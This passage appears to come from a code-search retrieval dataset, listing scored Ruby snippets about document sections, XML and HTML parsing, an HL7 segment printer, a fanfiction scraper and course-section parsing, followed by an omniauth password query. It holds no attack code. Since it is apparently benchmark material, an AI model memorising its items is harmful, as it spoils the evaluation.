@value.split(@sub_element_separator)\n if block_given?\n r.each {|se| yield se}\n return nil\n end\n return r\n end", "title": "" }, { "docid": "aff0237217037feb1d27c84513bee7c3", "score": "0.52172446", "text": "def process_array(tags, property, content, **opts)\n content.each { |v| process_tree(tags, property, v, **opts) }\n end", "title": "" }, { "docid": "7c90754990f3199259a03cb14bea556c", "score": "0.52157086", "text": "def subcollections\n respond_to?(:collectionHasSubcollection) ? collectionHasSubcollection : []\n end", "title": "" }, { "docid": "56d4135159052c86aa0275a0b627af0c", "score": "0.5211746", "text": "def section(index)\n nodes.at(index)\n end", "title": "" }, { "docid": "4f0a372795668ef4d79a13b8de909389", "score": "0.52116126", "text": "def rb(v, sec)\n sec = Array.new if ! filled? sec\n h = Hash.new\n $doc.xpath(v).each do |n|\n h = {:t=>to_html_br(n['titulo']), :st=>to_html_br(n['subtitulo']), :c=>to_html_br(n.content)} \n sec.push(h)\n end\n return sec\nend", "title": "" }, { "docid": "5af1611d1b434c420f047fddad3367b9", "score": "0.5208539", "text": "def sections\n temp_sections = []\n if @section_ids.count > 0\n @section_ids.each do |section_id|\n temp_sections.push @client.section(@org_id, section_id)\n end\n end\n return temp_sections\n end", "title": "" }, { "docid": "77c6ede1456f76ab2f5d2bad2ac9659e", "score": "0.5204446", "text": "def sub_filter_content(catalog_svc, catalog_svc_version, filter_name, sub_filters)\t\n\t\tsub_filter_rsp = catalog_svc.perform_get_navigation_filter_by_type(catalog_svc_version, filter_name)\t\t\n\t\tcase filter_name.upcase\n\t\t\twhen \"AVAILABILITY\", \"CATEGORY\", \"CONDITION\", \"DEALS\", \"ESRB\", \"PLATFORM\", \"PRICE\", \"PRODUCTS\", \"PUBLISHER\", \"RATING\"\n\t\t\t\tsub_filter_rsp.should include sub_filters\n\t\t\telse\n\t\t\t\t# DO NOTHING\n\t\tend\n\tend", "title": "" }, { "docid": "1bf2b2009e1b6f838ed4506be573a26b", "score": "0.51917726", "text": "def sections\n parsed {\n @sections\n }\n end", "title": "" }, { "docid": "770672035e0e70f02a2f182939b75596", "score": "0.51857984", "text": "def sections\n (1..section_size).inject([]) do |array, row_offset|\n (1..section_size).inject(array) do |array, column_offset|\n array << section_coordinates(row_offset - 1, column_offset - 1)\n end\n end\n end", "title": "" }, { "docid": "d97bde8280e8483ab18404fed40da9a5", "score": "0.5182338", "text": "def subgenres; end", "title": "" }, { "docid": "c24280415fe9475fddf1e49dc4afcbf0", "score": "0.5172205", "text": "def take_sections_article(file)\n cont = 0\n found = false\n sections = []\n for i in (5..file.length()-1)\n if (file[i]==\"--\") && (not found) then\n for j in (i..file.length())\n sections[cont] = file[j]\n cont = cont + 1 \n end\n found = true\n end\n if found\n i = i + 1\n end\n end\n return sections\n end", "title": "" }, { "docid": "91ca476675a161e15fe1efb6c5426561", "score": "0.5159897", "text": "def content_with_toc\n root = Section.new(nil, 0)\n section = root\n content_with_toc = []\n content.split(/\\n/).each do |line|\n line.gsub!(/(<h([1-6])>(.*)<\\/h[1-6]>)/) do |s|\n tag = $1; depth = $2.to_i; name = $3\n if section.depth == depth\n section = section.parent.add_child Section.new(name, depth)\n elsif section.depth == depth - 1\n section = section.add_child Section.new(name, depth)\n elsif section.depth > depth\n while section.depth > depth\n section = section.parent\n end\n section = section.parent.add_child Section.new(name, depth)\n elsif section.depth < depth - 1\n while section.depth < depth - 1\n section = section.add_child Section.new(Section.next_no_title, section.depth + 1)\n end\n section = section.add_child Section.new(name, depth)\n end\n %Q{<a name=\"#{section.anchor}\"><h#{section.depth}>#{section.name_with_options}</h#{section.depth}></a>}\n end\n \n content_with_toc << line\n end\n \n toc_html = %Q{<div class=\"toc\">#{toc(root)}</div>}\n content_with_toc.unshift(toc_html).join(\"\\n\")\n end", "title": "" }, { "docid": "a7e3c0f31e8853887333b70e3621aa4e", "score": "0.51414025", "text": "def sections\n @sections.values\n end", "title": "" }, { "docid": "f17ce7e12e963da85548d603e9ff089b", "score": "0.51399857", "text": "def sub_content \n sub_contents = []\n\n if @is_post == false\n root_regexp = Regexp.new(@root, Regexp::IGNORECASE)\n sub_directories = Dir.glob(@absolute_path + '*');\n\n sub_directories.each do |sub_directory|\n begin\n # Remove the root from the path we pass to the new Content instance.\n # REVIEW: Should we be flexible and allow for the root dir to be present?\n content = Content.new(sub_directory.sub(root_regexp, ''))\n sub_contents.push(content)\n rescue ArgumentError\n next\n end\n end\n end\n\n sub_contents.reverse\n end", "title": "" }, { "docid": "c8eb20c2ccfe02900353915ef0e9a206", "score": "0.5133451", "text": "def sections\n result = @nsx_client.get(@url_sections)\n result['results']\n end", "title": "" }, { "docid": "b505761f1e99dc6a31d890bae066ac11", "score": "0.5104621", "text": "def index\n @device_sub_contents = DeviceSubContent.all\n end", "title": "" }, { "docid": "9e9b1ac4007ef91124e75a5012cf35c8", "score": "0.5096292", "text": "def sections\n @blocks.inject([]) {|collector, block|\n collector << block if block.is_a?(Section)\n collector\n }\n end", "title": "" }, { "docid": "abb9dddbf0629f1fa0e32a49750b9bef", "score": "0.5092998", "text": "def sub_collection\n if match = @result.match(/\\[#{@field}\\](.*)\\[\\/#{@field}\\]/m) # the /m makes the dot match newlines, too!\n whole_group = match[0]\n inner_placeholders = match[1]\n inner_result = ''\n # Let the referenced object do the expanding by recursion if the collection knows placeholders\n @cur_collection.each do |item|\n inner_result << item.expand_placeholders(inner_placeholders)\n end if @cur_collection.first.respond_to?(:expand_placeholders)\n @result.gsub!(whole_group, inner_result)\n else\n @result.gsub!(@placeholder, \"END MISSING FOR #{@field}\")\n end\n end", "title": "" }, { "docid": "377abeb85cf1a15493e8e4a92d5f8100", "score": "0.50906193", "text": "def print_segments\n\t\t# METHOD: after all of the HL7 content has been parsed, print the contents of each segment in a more easily readible format\n\t\t# output for 1 segment looks like:\n\t\t\t\t\t#~ :: Segment: PID\n\t\t\t\t\t#~ PID-0: Segment => PID\n\t\t\t\t\t#~ PID-1: Set ID - PID => 1\n\t\t\t\t\t#~ PID-2: Patient ID => \n\t\t\t\t\t#~ PID-3: Patient Identifier List => [[\"P00057804\", \"\", \"\", \"\", \"PN\"], [\"4009887514\", \"\", \"\", \"AUSHIC\", \"MC\"], [\"SMIAL001\", \"\", \"\", \"\", \"PI\"]]\n\t\t\t\t\t#~ PID-4: Alternate Patient ID - PID => \n\t\t\t\t\t#~ PID-5: Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\n\t\t\t\t\t#~ PID-6: Mother’s Maiden Name => \n\t\t\t\t\t#~ PID-7: Date/Time of Birth => 19770621\n\t\t\t\t\t#~ PID-8: Sex => M\n\t\t\t\t\t#~ PID-9: Patient Alias => \n\t\t\t\t\t#~ PID-10: Race => \n\t\t\t\t\t#~ PID-11: Patient Address => [\"818 Beach Road\", \"\", \"BEECHMERE\", \"\", \"4510\", \"AU\", \"H\"]\n\n\t\t\t# iterate over each segment\n\t\t\t@parsed_content.each do |segment|\n\t\t\t\tseg = segment[0]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t # eg => \"PID\"\n\t\t\t\t\n\t\t\t\t#get yaml file details\n\t\t\t\tyamlfile = \"hl7specification/#{seg}\"\t\t\t\t\t# for each segment, find the appropriate yaml file (ie one for each segment)\n\t\t\t\tspecs = YAML.load_file(yamlfile)\t\t\t\t\t\t\t# load the yaml file\n\t\t\t\t\n\t\t\t puts \":: #{specs[\"Header\"][\"name\"]} (#{seg})\"\t\t\t# print the text eg \":: Message Header Segment (MSH)\"\n\t\t\t \n\t\t\t # then iterate over each field in the particular segment\n\t\t\t\tsegment.each_with_index do |field, index|\t\t\t\t\t# then for each field...\n\t\t\t\t\tif index > 0 then\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# only if the index is 1 or more (ie the first value is not useful here)\n\t\t\t\t\t\tfld = \"#{seg}-#{index}\"\t\t\t\t\t\t\t\t\t # get the field id => \"PID-5\"\n\t\t\t\t\t\tprint \" #{fld}: \"\t\t\t\t\t\t \t\t\t\t\t\t# on each line print the particular field being queried eg \"PID-5: \"\n\t\t\t\t\t\tfldname = specs[fld][\"name\"]\t\t\t\t\t\t\t\t\t# get the name of the field from the yaml file\n\t\t\t\t\t\tprint \"#{fldname} => \"\t\t\t\t\t\t\t\t\t\t\t\t# print the field name after the field eg \"PID-5: Patient Name\"\n\t\t\t\t\t\tif field.class == String then\t\t\t\t\t\t\t\t\t# if the field class is a string...\n\t\t\t\t\t\t\tputs field\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# then just print (ie add) the value of the string eg \"PID-7: Date/Time of Birth => 19770621\"\n\t\t\t\t\t\telsif field.class == Array then\t\t\t\t\t\t\t\t# otherwise if the field is an array, ie there is lower level structure...\n\t\t\t\t\t\t\tputs field.inspect\t\t\t\t\t\t\t\t\t\t\t\t\t# then print the structure eg \"PID-5 Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\"\n\t\t\t\t\t\tend # << end if field...\n\t\t\t\t\tend # << end if index > 0 \n\t\t\t\tend\t # << end segment.each_with_index\n\t\t\t\tputs\t\n\t\t end\t # << end @parsed_content.each\n\t \n\t end", "title": "" }, { "docid": "7f2f16506de88f09b104625a86678752", "score": "0.50809383", "text": "def sections\n respond_with @page.sections\n end", "title": "" }, { "docid": "7f2f16506de88f09b104625a86678752", "score": "0.50809383", "text": "def sections\n respond_with @page.sections\n end", "title": "" }, { "docid": "e7ac5b3cb1857bf06fc771569fdc6bbf", "score": "0.5071252", "text": "def getTags node\n array = [] #array to hold working collection\n \n node.children.each do |child|\n array << Hash[child.name,child.inner_text] unless child.name == 'text' #text \n end\n \n return array\n end", "title": "" }, { "docid": "86e57cf63499e6cf723612dfce5f6707", "score": "0.5071153", "text": "def new_sections_in_chapter(chapter)\n sections = sections_in_chapter(chapter)\n sections.each_with_index\n .map do |s, i|\n [s['mampf_section'], i + 1, s['description'], s['counter']]\n end\n .select { |s| s.first.nil? }\n .map { |s| [s.second, s.third, s.fourth] }\n end", "title": "" }, { "docid": "d14838713e523864eed6680a335aa9a6", "score": "0.50643915", "text": "def process_section(section_name, doc)\n entries = doc.xpath(@sections[section_name])\n if(entries.size == 0)\n return\n end\n @ccr_hash[section_name] = []\n entries.each do | e |\n entry = QME::Importer::Entry.new\n process_codes(e, entry)\n @ccr_hash[section_name] << entry\n end\n end", "title": "" }, { "docid": "2fa138351b80f24b55f71bb2c3ed0ad5", "score": "0.50583553", "text": "def each_section\n @sections.each_value do | section |\n yield( section )\n end\n end", "title": "" }, { "docid": "bf1716928f15270da5399defe253b570", "score": "0.505181", "text": "def search1(doc)\n doc.search('.subtext > span:first-child').map { |span| span.inner_text}\n end", "title": "" }, { "docid": "22c25b83494c6ba9e7f3b2aad59ee9c2", "score": "0.5050479", "text": "def parse_content\n entries = []\n headers = Hash.new(0)\n\n # TODO: Use kramdown auto ids\n @doc.css(toc_headings).each do |node|\n text = node.text\n id = text.downcase\n id.gsub!(PUNCTUATION_REGEXP, '') # remove punctuation\n id.gsub!(' ', '-') # replace spaces with dash\n\n uniq = headers[id] > 0 ? \"-#{headers[id]}\" : ''\n headers[id] += 1\n header_content = node.children.first\n next unless header_content\n\n entries << {\n id: id,\n uniq: uniq,\n text: text,\n node_name: node.name,\n content_node: header_content,\n h_num: node.name.delete('h').to_i\n }\n end\n\n entries\n end", "title": "" }, { "docid": "5655c7d158c48dd94e7a46fa0f16d988", "score": "0.504955", "text": "def locate_section\n result_array = $book_data.find_all { |place| place[:chapter]==@chapter && place[:subsection]==@subsection }\n @place = result_array[0]\n @location = @place[:location]\n @topic = @place[:topic]\n puts \"The e-book location is: #{@location}\"\n puts \"...and the topic is: #{@topic}.\"\n puts \"Happy reading\"\n end", "title": "" }, { "docid": "689fe32b0f6a4122ebd59e324950a77a", "score": "0.5047115", "text": "def sub_section_empty?(section)\n result = false\n 5.times do |index|\n result ||= self.send(\"#{section}#{index + 1}\".to_sym)\n end\n !result\n end", "title": "" }, { "docid": "e3a0e5a7d43ae1aaf3176631a6e31ebc", "score": "0.50419766", "text": "def getXMLData( xpathObj) \n @variantArr = Array.new\n @file.xpath(xpathObj).each do |node| \n recursive_child(node) \n if !node.next_sibling.nil? && !node.next_sibling.blank?\n recursive_child(node.next_sibling)\n end \n return @mainArr \n end\n end", "title": "" }, { "docid": "02d3c449f1aac749f4410d0844be13c3", "score": "0.50418913", "text": "def parse_children!(sections)\n # Go through the headers sequentially to find all direct children (base on header level vs. current level)\n last_child_level = LOWEST_PRECEDENCE + 1\n\n sections.each do |s|\n # Finish parsing if we encounter a sibling (same level) or aunt/uncle (higher level)\n break if s.level <= level\n\n if s.level <= last_child_level\n @children.push(Markdown.new(s.content, title: s.title, parent: self))\n last_child_level = s.level\n end\n end\n end", "title": "" }, { "docid": "27290a448336e5b028ecfeade616e507", "score": "0.50304013", "text": "def read_html\n array = nodes.to_a\n array.each_with_index do |node, index|\n header = (index.modulo(10) == 0) ? \"<h2>!!!!!SLOW DOWN AND ENUNCIATE!!!!!</h2>\" : \"\"\n anchor = \"<a id=section_#{index} href=/pages/#{self.id}/edit?section=#{index}>#{index}</a>\"\n type = nodes.at(index).name\n array[index]=nodes.at(index).replace \"#{header}<#{type}>#{anchor} #{nodes.at(index).inner_html}</#{type}>\"\n end\n array.map(&:to_html).join\n end", "title": "" }, { "docid": "61db5e4f367503e2d52222942a2cd5b2", "score": "0.5026096", "text": "def parts\n @body.xpath('./a:part', a: NS)\n end", "title": "" }, { "docid": "c3632a6f9ff74bd27856c4ed804cad2b", "score": "0.5022533", "text": "def get_sections (subdomain,course_id)\n token = get_token\n courses = get_all_pages(\n token,\n \"https://#{subdomain}.instructure.com/api/v1/courses/#{course_id}/sections\"\n )\n end", "title": "" }, { "docid": "3ca4a93e7ce7240c7308e6538640cfd4", "score": "0.50047404", "text": "def sub_items\n return self.elems if self.elems.all? { |e| e.is_a?(Item) }\n [self]\n end", "title": "" }, { "docid": "aeb65d13430972640d4f93f4ea8fd38b", "score": "0.49954656", "text": "def all_sections\n [ header_section ] + sections\n end", "title": "" }, { "docid": "944c9f9cfc61bff6ccff13bb34b520b1", "score": "0.49909562", "text": "def tt_sections text\n flow = @am.flow text.dup\n\n flow.each do |item|\n case item\n when String then\n @res << item if in_tt?\n when RDoc::Markup::AttrChanger then\n off_tags res, item\n on_tags res, item\n when RDoc::Markup::RegexpHandling then\n @res << convert_regexp_handling(item) if in_tt? # TODO can this happen?\n else\n raise \"Unknown flow element: #{item.inspect}\"\n end\n end\n\n res\n end", "title": "" }, { "docid": "c9d5f67e74dce06623ca34f6ad9fa2bb", "score": "0.49890462", "text": "def content_api_has_root_sections(slugs_or_sections)\n content_api_has_root_tags(\"section\", slugs_or_sections)\n end", "title": "" }, { "docid": "2ae49c5d72248106c8a474eb02473b3e", "score": "0.49672064", "text": "def get_content_array(xpath_query)\n scraped_array = Array.new\n pos = 0\n @current_page.search(xpath_query).each do |var|\n scraped_array[pos] = var.content.strip\n pos += 1\n end\n scraped_array\n end", "title": "" }, { "docid": "6cbd5639906dbd9a7bfd45511e07d5c6", "score": "0.4955519", "text": "def sections\n self.entries.select { |e| e.is_a?(ListSection) }\n end", "title": "" }, { "docid": "5e8c83eb3e896c9097ad5691cb90c25c", "score": "0.49544865", "text": "def get_child(section, line)\n section.children.each do |child|\n return child if child.line == line\n end\n nil\nend", "title": "" }, { "docid": "4aed8067f2864438752f01f70915e9e9", "score": "0.49528882", "text": "def collect_sections(songs)\n\tsection_lists = []\n\tsongs.each do |song|\n\t\tsong.each_with_index do |section,i|\n\t\t\tsection_lists << [] if !section_lists[i]\n\t\t\tsection_lists[i] << section\n\t\tend\n\tend\n\tsection_lists\nend", "title": "" }, { "docid": "9214e93867f689272058b75156d8ab53", "score": "0.49485528", "text": "def extract_data( page )\n strip_tags page[:content]\n\n #extract_concepts( page[:title] , page , LOC_TITLE ) if page[:title] && page[:title] !=~ PTN_EMPTY\n if page[:tag] && page[:tag] !=~ PTN_EMPTY\n page[:tag] = page[:tag].split(SEP_TAG).map{|e|\"[[\"+e+\"]]\"}.join(\";\")\n extract_concepts( page[:tag] , page , LOC_TAG )\n end\n\n extract_concepts( page[:title] , page , LOC_TITLE)\n extract_concepts( page[:content] , page )\n extract_resources( page[:content] , page )\n end", "title": "" }, { "docid": "66f05cbeabb0905b5a39bba246c2f225", "score": "0.4948369", "text": "def subsection(subsection_name_or_id)\n if is_id?(subsection_name_or_id)\n return Section.get(subsection_name_or_id)\n else\n return subsection_by_name(subsection_name_or_id)\n end\n end", "title": "" }, { "docid": "94659f39ed5c3d37ef02c0076f6e6b50", "score": "0.49382362", "text": "def parse_doc(doc)\n doc.xpath('//div[@class = \"z-list\"]').each do |node|\n\n story_content = Hash.new\n\n # get an array of the all the links\n links = Array.new\n node.xpath('./a').each do |link_node|\n links.push(link_node)\n end\n # the first link is the title\n story_content[\"title\"] = links[0].content\n\n # get story id\n url_split = links[0]['href'].split('/')\n story_content['ff_id'] = url_split[url_split.length-3]\n\n # the last link is reviews link or the author link\n last_link = links[links.length-1]\n # remove the link if its a review link\n if ((last_link.content <=> \"reviews\") == 0)\n # remove it and do it again\n links.pop()\n last_link = links[links.length-1]\n end\n\n # Set the author\n author_name = last_link.content\n author_url_split = last_link['href'].split('/')\n author_ff_id = author_url_split[author_url_split.length-2]\n story_content['author'] = generate_author(author_name, author_ff_id)\n\n # get the gray section (details)\n gray = \"\"\n node.xpath('./div//div').each do |div_node|\n gray=div_node.content\n # remove the node for the summary later\n div_node.remove\n end\n\n details = gray.split(\" - \")\n\n tags = Hash.new\n # split each of those by :\n count = 1\n story_content['reviews'] = '0'\n details.each do |detail|\n detail_split = detail.split(\":\")\n # If there is nothing in the second one that it isn't a set\n if(detail_split[1] != nil)\n story_content[detail_split[0].downcase] = detail_split[1].strip\n else# we need to do something differnt\n # complete status\n if ((detail_split[0] <=> \"Complete\") == 0)\n story_content['complete'] = true\n # language\n elsif count == 2\n story_content['language'] = detail_split[0]\n # Theme\n elsif count == 3\n story_content['theme'] = detail_split[0].split(\"/\")\n end\n\n # Main Characters\n if (count == details.length)\n if (details[details.length-1] <=> \"Complete\") != 0\n # story isn't complete characters are the last one (or published)\n detail_split = detail.split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = detail_split[0].split(\" & \")\n end\n else\n # story is complete characters are the second to last one\n detail_split = details[details.length-2].split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = details[details.length-2].split(\" & \")\n end\n end\n end\n\n # defaulting to false if complete isn't set\n if story_content['complete'] != true\n story_content['complete'] = false\n end\n end\n count+=1\n end\n\n # get the summary\n node.xpath('./div').each do |summary_node|\n story_content['summary'] = summary_node.content\n end\n\n generate_story(story_content)\nend\n\n\n\n#\n# Stores a datastructure with the list of the current ships\n#\ndef update_ships\n # A data structure to store the ships in\n\n ships = [\n [\"Brittana\", [\"Brittany P.\", \"Santana L.\"]],\n [\"Faberry\", [\"Quinn F.\", \"Rachel B.\"]],\n [\"Flanamotta\", [\"Rory F.\", \"Sugar\"]],\n [\"Sory\", [\"Rory F.\", \"Sam E.\"]],\n [\"Seblaine\", [\"Sebastian S.\", \"Blaine A.\"]],\n [\"Santofsky\", [\"D. Karofsky\", \"Santana L.\"]],\n [\"Bartie\", [\"Brittany P.\", \"Artie A.\"]],\n [\"Tike\", [\"Mike C.\", \"Tina C.\"]],\n [\"Pezberry\", [\"Santana L.\", \"Rachel B.\"]],\n [\"Pizes\", [\"Lauren Z.\", \"Puck\"]],\n [\"St. Berry\", [\"Jesse sJ.\", \"Rachel B.\"]],\n [\"Kill\", [\"Kurt H.\", \"Will S.\"]],\n [\"Puckurt\", [\"Kurt H.\", \"Puck\"]],\n [\"Artina\", [\"Tina C.\", \"Artie A.\"]],\n [\"Partie\", [\"Puck\", \"Artie A.\"]],\n [\"Blainofskyve\", [\"Blaine A.\", \"D. Karofsky\"]],\n [\"Klaine\", [\"Kurt H.\", \"Blaine A.\"]],\n [\"Hummelberry\", [\"Kurt H.\", \"Rachel B.\"]],\n [\"Furt\", [\"Kurt H.\", \"Finn H.\"]],\n [\"Pinn\", [\"Puck\", \"Finn H.\"]],\n [\"Samcedes\", [\"Sam E.\", \"Mercedes J.\"]],\n [\"Artcedes\", [\"Artie A.\", \"Mercedes J.\"]],\n [\"Finchel\", [\"Finn H.\", \"Rachel B.\"]],\n [\"Puckleberry\", [\"Puck\", \"Rachel B.\"]],\n [\"Wemma\", [\"Will S.\", \"Emma P.\"]]\n ]\n\n ships.each do |ship_data|\n ship = Ship.find_by_name(ship_data[0])\n\n # Make sure the ship doesn't already exist\n if !ship\n\n # create a new ship\n ship = Ship.new()\n ship.name = ship_data[0]\n ship.save\n\n # For each character in the ship\n ship_characters = ship_data[1]\n generate_log(\"Generating New Ship: #{ship_data[0]} between #{ship_data[1]}\")\n ship_characters.each do |ship_character|\n character = generate_character(ship_character)\n # Save the relationship\n relationship = Relationship.new()\n relationship.ship = ship\n relationship.character = character\n relationship.save\n\n end\n else\n ship.update_attributes(:name => ship_data[0])\n ship.save\n generate_log(\"Updating: #{ship_data[0]} between #{ship_data[1]}\")\n\n\n end\n end\nend\n\n\nend", "title": "" }, { "docid": "fc059eb0f26b48f2d55d74eaf656512a", "score": "0.49351072", "text": "def contents\n children.select { |child| child.is_a? DocumentContent }\n end", "title": "" }, { "docid": "29b97e386fcf1809141cd1be964986e3", "score": "0.4931656", "text": "def contents\n @contents ||= begin\n # First collect the localized content\n contents_data = localized_contents\n contents_data = [] if contents_data.blank?\n # Then grab the content that belongs directly to the page\n contents_data << non_localized_contents\n unless contents_data.blank?\n contents_data = contents_data.flatten.sort{|a,b| a.section_position <=> b.section_position}\n end\n end\n @contents\n end", "title": "" }, { "docid": "7efc788866fc82068bfd9873b770749c", "score": "0.49290332", "text": "def instantiate_section_nodes(mode)\n raise(DescriptorError, \"RepeatingSection#instantiate_section_nodes accepts only two modes: :xml or :model\") unless [:xml, :model].include?(mode)\n debug \"instantiate_section_nodes mode: #{mode}\"\n clear\n# The Array() call below is the source of these warnings:\n# /opt/jruby-1.4.0/lib/ruby/gems/1.8/gems/activerecord-2.3.5/lib/active_record/associations/association_proxy.rb:217 warning: default 'to_a' will be obsolete\n# This warning will only show up when send(mode) returns an AssociationProxy for a\n# single object (such as from a has_one relation). The warning should be \n# irrelevant for us because Array() tries #to_ary #to_a and then wraps in a []\n# if they fail. The warning is bloody irritating though.\n# (Array(extracted_value || send(mode))).try(:each_with_index) do |node,i|\n# Here's a hamfisted, but hopefully quiet alternative.\n extracted = extracted_value || send(mode)\n extracted = extracted.proxy_target if extracted.respond_to?(:proxy_target)\n Array(extracted).try(:each_with_index) do |node,i|\n node_position = i + 1\n debug(\"instantiate_section_node node ##{node_position} -> #{node.inspect}\")\n section_locator = \"#{locator}[#{node_position}]\"\n section = DSL.create(:repeating_section_instance, nil, section_locator, :logger => logger, :mapping => mapping_class, :matches_by => matches_by, &descriptors)\n section.parent = self # without this, we can't access root options like :validation_type\n section.send(\"#{mode}=\", node)\n section.extracted_value = node unless section.extracted_value\n section.section_key = section.locator unless section.section_key\n store(section.section_key, section)\n end\n end", "title": "" }, { "docid": "04ddb46439703baf5a82fe4d64ecf51d", "score": "0.4922483", "text": "def sub_items\n [\n [:subnav1, 'subnav1', 'subnav1_url', {}],\n [:subnav2, 'subnav2', 'subnav2_url', {}]\n ]\nend", "title": "" }, { "docid": "52b5f5d088f28d2fba0268a8dddacac4", "score": "0.49217477", "text": "def subgraphs\n subs = []\n nodes_to_hit = @vertices.dup\n until nodes_to_hit.empty?\n subgraph = subgraph_with(nodes_to_hit.to_a.first)\n subs << subgraph\n nodes_to_hit -= subgraph.vertices\n end\n subs\n end", "title": "" }, { "docid": "16c5b2aad1ed914cc3a2ad761f01eda1", "score": "0.4907592", "text": "def handle_subelement?(object, sub_feature_key)\n true\n end", "title": "" }, { "docid": "d7a247ba24c64f5e908a4d0b223f9eaa", "score": "0.4905394", "text": "def cib_section_primitives\n REXML::XPath.match cib, '//primitive'\n end", "title": "" }, { "docid": "0143b5d8ed2218217c31ee88b6e6ce6b", "score": "0.49036255", "text": "def new_subsection_text(revision_subsection) \n if @array_of_new_subsections[revision_subsection.id] == 'added'\n subsection_text_show(revision_subsection, 'added') \n end\n end", "title": "" }, { "docid": "7e4e6b709cdc247357278c49be9a7529", "score": "0.49028653", "text": "def children\n self.node.children.collect(&:content)\n end", "title": "" }, { "docid": "2f9ee18bbfc9e59d6b8ec39258ed7c8e", "score": "0.49013808", "text": "def parse_sections(url, semester)\n # Parse with Nokogiri\n page = Nokogiri::HTML(open(url))\n course_divs = page.search(\"div.course-sections\")\n section_array = []\n\n # for each of the courses on the page\n course_divs.each do |course_div|\n course_id = course_div.attr('id')\n # for each section of the course\n course_div.search(\"div.section\").each do |section|\n # add section to array to add\n instructors = section.search('span.section-instructors').text.gsub(/\\t|\\r\\n/,'').encode('UTF-8', :invalid => :replace).split(',').map(&:strip)\n dept = course_id.match(/^([A-Z]{4})\\d{3}[A-Z]?$/)[1]\n\n # add course and department to professor object for each instructor\n profs = []\n instructors.each do |x|\n if x != 'Instructor: TBA'\n professor_name = x.squeeze(' ')\n profs << professor_name\n end\n end\n\n meetings = []\n section.search('div.class-days-container div.row').each do |meeting|\n start_time = meeting.search('span.class-start-time').text\n end_time = meeting.search('span.class-end-time').text\n\n meetings << {\n days: meeting.search('span.section-days').text,\n start_time: start_time,\n end_time: end_time,\n start_seconds: time_to_int(start_time),\n end_seconds: time_to_int(end_time),\n building: meeting.search('span.building-code').text,\n room: meeting.search('span.class-room').text,\n classtype: meeting.search('span.class-type').text || \"Lecture\"\n }\n end\n number = section.search('span.section-id').text.gsub(/\\s/, '')\n open_seats = section.search('span.open-seats-count').text\n waitlist = section.search('span.waitlist-count').text\n section_array << {\n section_id: \"#{course_id}-#{number}\",\n course_id: course_id,\n number: number,\n instructors: profs,\n seats: section.search('span.total-seats-count').text,\n semester: semester,\n meetings: meetings,\n open_seats: open_seats,\n waitlist: waitlist\n }\n end\n end\n\n return section_array\nend", "title": "" }, { "docid": "90cb3cf535ed2b2cbaf05e62f6708256", "score": "0.48927486", "text": "def skel_section( path_storage, section_path )\n section_map = {}\n path_storage.all.each do |entry|\n dirs = entry.id.split( '/' )\n while ( dirs.pop; dirs.first )\n section = dirs.join( '/' )\n section_map[ section ] ||= []\n section_map[ section ] << entry\n end\n end\n section_map.each do |section, entries|\n page = Page.new( \"/#{ section }/index\" )\n page.updated = path_storage.last_updated( entries )\n yield :page => page, :entries => entries\n end\n end", "title": "" }, { "docid": "e5cedc7c060715bb7c1aba9616487bee", "score": "0.48896256", "text": "def all_contents()\n contents = self.content.flatten.map do |c|\n case c\n when Eddy::Models::Loop::Repeat then c.all_contents()\n when Eddy::Models::Loop::Base then c.all_contents()\n when Eddy::Models::Segment then c\n else raise Eddy::Errors::RenderError\n end\n end\n return contents.flatten\n end", "title": "" }, { "docid": "e3946a470bf0e91497ca9108007d7617", "score": "0.48894647", "text": "def extract(rec)\n super(rec)\n @abstracts = rec.doc.xpath(path).map(&:text)\n end", "title": "" }, { "docid": "ce97929952a56707201f69a48232d83b", "score": "0.48880115", "text": "def section_by_name(section_name); end", "title": "" }, { "docid": "01340fc4bd3202ad4af66f3f31623377", "score": "0.48777556", "text": "def subsequence(range_start, range_end, start_seen_cb=nil, end_seen_cb=nil)\n result = []\n start_seen = range_start.nil?\n @contents.each{|c|\n if range_end and range_end.object_id == c.object_id\n end_seen_cb.call if end_seen_cb\n break \n end\n if range_start and range_start.object_id == c.object_id\n start_seen = true\n start_seen_cb.call if start_seen_cb\n next\n end\n if start_seen\n if c.is_a? XML\n break_me = false\n result += c.subsequence(nil, range_end, nil, lambda{break_me=true})\n break if break_me\n else # String/XML_PI/XML_Comment\n result << c\n end\n else\n # String/XML_PI/XML_Comment cannot start a subsequence\n if c.is_a? XML\n break_me = false\n result += c.subsequence(range_start, range_end, lambda{start_seen=true}, lambda{break_me=true})\n break if break_me\n end\n end\n }\n # Include starting tag if it was right from the range_start\n # Otherwise, return just the raw sequence\n result = [XML.new(@name, @attrs, result)] if range_start == nil\n return result\n end", "title": "" }, { "docid": "d4987c47fd1efa788a1d7e1be99f3a45", "score": "0.4876439", "text": "def search2(doc)\n doc.search('.subtext > a:nth-child(3)').map {|link| link['href'] }\n end", "title": "" }, { "docid": "1cc83a5daa331e4796b4ca05fe21b22c", "score": "0.48683846", "text": "def subdocument(k)\n # Fixme: bad code in next line\n # Think about who can modify toc\n toc_item = toc[k]\n if toc_item\n doc_id = toc_item[:id] || toc_item['id']\n DocumentRepository.find(doc_id) if doc_id\n end\n end", "title": "" }, { "docid": "d596b423cad982cd8df767b694bc8d54", "score": "0.48593047", "text": "def index\n @sections = @page.sections.sorted\n end", "title": "" } ]
81cd44cff6a7a9f5918eeb36c69cb965
if user logged in with omniauth, password is not required
[ { "docid": "f7260442b3c192b8594e1ef52a9867b8", "score": "0.0", "text": "def password_required?\n\t\tsuper && provider.blank?\n\tend", "title": "" } ]
